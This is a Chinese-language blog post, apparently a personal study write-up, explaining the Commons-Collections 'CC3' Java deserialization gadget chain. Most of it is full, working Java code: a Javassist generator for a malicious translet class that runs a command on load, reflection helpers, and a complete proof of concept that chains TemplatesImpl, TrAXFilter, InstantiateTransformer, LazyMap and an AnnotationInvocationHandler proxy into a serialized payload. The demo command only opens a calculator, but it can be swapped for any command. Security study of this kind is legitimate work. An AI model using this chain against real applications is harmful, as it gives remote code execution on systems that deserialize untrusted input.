Java反序列化之CC3

Java反序列化Commons-Collection篇03-CC3链 - 1vxyz - 博客园 这个写的不错

前言

一天进步一点点了,打awd训练让人把库都删了,菜死我了。

CC3

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>


<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>

</dependencies>

思路分析

这个链子的利用也是使用类加载字节码执行代码。

1
2
3
4
5
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

再从newTransformerdefineClass的就是cc2里面的内容。
因为后续都差不多,这里就和前面反过来,逆序分析一下。

注意这里使用idea的快捷键ctrl+alt+F7会方便许多

调用defineClass解析字节码从TransletClassLoaderdefineClass调用。
image.png
然后从TemplateImpl调用的defineTransletClasses方法调用defineClass
image.png
然后从TemplatesImplgetTransletInstance实例化方法。
image.png
外面只有TemplatesImplnewTransformer一个位置调用了。
image.png
getOutputPropertiesnewTransformer
image.png

编写

这里对CC2的部分位置说的不清晰的地方细说一下。
首先是需要给哪些值赋值:
image.png
这里需要其中的_name不空,而_class为空,但是这里都是_开头的变量,也就是private,就要用反射来赋值了。
image.png
下一层需要在_bytecodes非空,而且_tfactory非空,因为它要调用方法。
然后就可以编写了:

  • _name需要一个String的值。随便给他来个String就行
  • 然后就是_bytecodes,这个使用javassist编写一个字节码就可以,上篇Java反序列化之CC2里面有具体写法。
  • 然后就是_tfactory,这里对它要求不高,不为空即可。给它一个TransformerFactoryImpl()的值就行。

这里反射上个方法方便写下。

1
2
3
4
5
6
7
// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

字节码也生成一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class GenerateClass {
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
// * 构建恶意测试字节码
// * 1. 生成一个恶意的字节码文件
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("com.natro92.Evil");
// * 2. 继承AbstractTranslet
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
cc.setName(randomClassName);
// * 生成字节码文件
cc.writeFile();
// * 3. 生成字节码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
}
}

然后依次赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Natro92");
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil248611922548800.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

}

但是出现报错了,并没有运行。
image.png
报错了个空指针,点进去看一下:
image.png
发现这里的_auxClasses爆出了一个空指针。
image.png
image.png
这个参数是一个瞬态参数,不太好赋值,因此可能要取想办法将父类是否是ABSTRACT_TRANSLET
我们还能注意到后面还判断了一个_transletIndex是否小于零:
image.png
如果小于零会抛出异常,如果正常走这个不让_auxClasses为空的方法的话还是在这里会报错,因为调试的时候我们可以在这里看到赋值为-1:
image.png
因此我们需要把它的父类构造为ABSTRACT_TRANSLET
但是因为是abstract类型,还需要重写这个类的方法。
image.png
这里重写一下需要的evil类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

大概就是这样,也可以使用Javassist来写比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class GenerateClass {
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
// * 构建恶意测试字节码
// * 1. 生成一个恶意的字节码文件
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("com.natro92.Evil");
// * 2. 继承AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.addMethod(CtNewMethod.make("public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xalan.internal.xsltc.TransletException[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {}", cc));
cc.addMethod(CtNewMethod.make("public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xml.internal.dtm.DTMDOMException {}", cc));
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
cc.setName(randomClassName);
// * 生成字节码文件
cc.writeFile();
}
}

然后再解析这个class文件,重新运行即可,代码就被成功执行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Natro92");
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil250546845304900.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

}

image.png
链子不可能在这里就结束。
再往前找,谁调用了newTransformer
image.png
TrAXFilter这个类,这里就有被调用,但是这个类不是可序列化的,只能从Class入口构造函数赋值。
这里没有像之前一样调用InvokerTransformer而是InstantiateTransformer
image.png
判断是否是Class,然后获取这个Class构造器,然后实例化。
这里正好能实现templates.newTransformer();
因此我们按照这个地方调用的地方赋值:把Class[] paramTypes, Object[] args处理好。
image.png
修改Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Natro92");
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil250546845304900.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
// TrAXFilter 实现
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

// * 序列化
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin")));
objectOutputStream.writeObject(object);
}

// * 反序列化
public static Object deserialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName)));
return objectInputStream.readObject();
}


}

image.png
然后按照之前的链子完善一下前面的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Natro92");
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil250546845304900.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
// TrAXFilter 实现
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
deserialize("secret.bin");
}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

// * 序列化
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin")));
objectOutputStream.writeObject(object);
}

// * 反序列化
public static Object deserialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName)));
return objectInputStream.readObject();
}


}

总结

又过了一遍cc2那个不明白的部分,这回明白多了。代码看起来也熟练多了。